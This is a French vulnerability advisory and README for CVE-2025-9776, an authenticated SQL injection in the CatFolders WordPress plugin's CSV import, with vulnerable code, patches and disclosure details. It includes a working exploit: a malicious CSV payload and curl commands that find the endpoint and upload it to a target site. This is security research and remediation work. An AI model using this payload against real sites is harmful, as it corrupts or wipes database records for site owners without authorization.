
CVE-2025-9776 — Plugin WordPress CatFolders : Injection SQL authentifiée via l'import CSV | POC + Procédure pas à pas
Mots-clés : CVE-2025-9776, vulnérabilité WordPress CatFolders, injection SQL WordPress, injection SQL authentifiée, sécurité WordPress, vulnérabilité d'import CSV, exploit de plugin WordPress, CWE-89, attaque de base de données WordPress, vulnérabilité de médiathèque, WordPress CVE 2025
Une vulnérabilité d'injection SQL authentifiée a été découverte dans le plugin WordPress CatFolders, permettant aux utilisateurs de niveau Auteur de manipuler des requêtes de base de données via des importations CSV malveillantes.
Découvert par : Kai Aizen (SnailSploit)
Publié : 2025
Score CVSS : 6.5 (Moyen)
CWE : CWE-89 - Injection SQL
CatFolders – Tame Your WordPress Media Library by Category contient une vulnérabilité d'injection SQL authentifiée dans la fonctionnalité d'import CSV. La colonne attachments d'un CSV fourni par l'utilisateur est divisée en une liste et passée directement à FolderModel::set_attachments(), qui concatène ces valeurs dans des clauses IN (...) SQL brutes sans échappement ni paramétrage appropriés.
Cette vulnérabilité permet à des attaquants authentifiés disposant de privilèges de niveau Auteur de :
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
| Métrique | Valeur |
|---|---|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité d'attaque | Faible (AC:L) |
| Privilèges requis | Faible (PR:L) - Auteur+ |
| Interaction utilisateur | Aucune (UI:N) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Aucune (C:N) |
| Intégrité | Faible (I:L) |
| Disponibilité | Faible (A:L) |
La vulnérabilité existe dans le flux d'import CSV :
Fichier : includes/Rest/Controllers/ImportController.php
import_csv analyse le CSV téléchargé sans échappement par champrestore_folders() appelle :FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
Fichier : includes/Models/FolderModel.php
set_attachments() construit une requête SQL brute par concaténation de chaînes :'raw' => 'post_id IN (' . $attachmentIds . ')'
Un attaquant disposant de privilèges de niveau Auteur (capacité upload_files) peut injecter du SQL malveillant via le point de terminaison d'import CSV :
Charge utile CSV malveillante :
id,name,attachments
1,Test Folder,"1) OR 1=1--"
Requête vulnérable résultante :
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
Cela sort de la clause IN(...) et modifie la sémantique de la requête, affectant potentiellement toutes les lignes.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
Résultat typique : /catf/v1/import-csv
Créez un fichier nommé catf_inject.csv :
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Remplacer par l'espace de noms découvert
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
Réponse attendue :
{ "success": true }
Le serveur construit et exécute :
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
Cela peut effectuer des opérations DELETE/INSERT plus larges que prévu, effaçant souvent les relations dossier-pièce jointe sur l'ensemble de la base de données.
Exécutez la simulation SQLite autonome pour observer la vulnérabilité en toute sécurité :
python3 poc/catfolders_sql_poc.py
Ceci affiche la requête vulnérable et montre comment un jeton malveillant renvoie toutes les lignes, tandis qu'une version paramétrée le rejette correctement.
Action immédiate requise :
Deux étapes minimales de durcissement :
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
Remplacez toutes les concaténations SQL brutes par des requêtes paramétrées utilisant $wpdb->prepare() de WordPress :
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
En outre :
Un correctif complet est disponible dans patch/catfolders_fix.patch
CVE-2025-9776/
├── README.md # Ce fichier
├── poc/
│ ├── catf_inject.csv # Charge utile CSV malveillante
│ └── catfolders_sql_poc.py # Simulation SQLite sécurisée
└── patch/
└── catfolders_fix.patch # Correctifs recommandés
## Chronologie
- **Date de découverte :** 2025
- **Notification de l'éditeur :** Divulgation coordonnée via Wordfence
- **Divulgation publique :** 2025
- **Correctif disponible :** Version 2.5.3
## Références
- [Entrée CVE du MITRE](https://www.cve.org/CVERecord?id=CVE-2025-9776)
- [Avis Wordfence Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import)
- [Annuaire des plugins WordPress](https://wordpress.org/plugins/catfolders/)
- [Recherche SnailSploit](https://snailsploit.com)
## Crédits
**Chercheur :** Kai Aizen (SnailSploit)
**Processus de divulgation :** Coordonné via le programme de bug bounty Wordfence
## Considérations éthiques
**⚠️ AVIS IMPORTANT**
Cette preuve de concept est fournie **exclusivement à des fins de recherche défensive et d'éducation**.
### Directives d'utilisation
- ✅ **À FAIRE :** Tester sur vos propres systèmes ou avec une autorisation écrite explicite
- ✅ **À FAIRE :** Utiliser pour la formation et la sensibilisation à la sécurité
- ✅ **À FAIRE :** Mettre en œuvre les correctifs dans votre propre code
- ❌ **À NE PAS FAIRE :** Tester contre des systèmes sans autorisation
- ❌ **À NE PAS FAIRE :** Utiliser à des fins malveillantes
- ❌ **À NE PAS FAIRE :** Exploiter dans des environnements de production
### Avis légal
L'accès non autorisé à des systèmes informatiques est illégal en vertu des lois suivantes :
- Computer Fraud and Abuse Act (CFAA) - États-Unis
- Computer Misuse Act - Royaume-Uni
- Législations similaires dans d'autres juridictions
**À utiliser à vos propres risques. Les chercheurs et SnailSploit déclinent toute responsabilité en cas d'utilisation abusive de ces informations.**
## Contact
Pour toute question ou information complémentaire sur cette vulnérabilité :
- **Email :** [email protected]
- **LinkedIn :** [linkedin.com/in/kaiaizen](https://linkedin.com/in/kaiaizen)
- **Site Web :** [snailsploit.com](https://snailsploit.com)
- **Organisation :** SnailSploit Security Research
---
**Restez en sécurité et maintenez vos installations WordPress à jour !**
*Dernière mise à jour : 13 octobre 2025*
<!-- snailsploit-backlink:start -->
---
## 📚 Documentation et auteur
L'article complet, la méthodologie et les recherches associées de ce projet se trouvent sur :
**[https://snailsploit.com/security-research/cves/cve-2025-9776/](https://snailsploit.com/security-research/cves/cve-2025-9776/)**
Créé par **Kai Aizen** — chercheur indépendant en sécurité offensive.
[snailsploit.com](https://snailsploit.com) · [Recherche](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit)
> *Même attaque. Substrat différent.*
<!-- snailsploit-backlink:end -->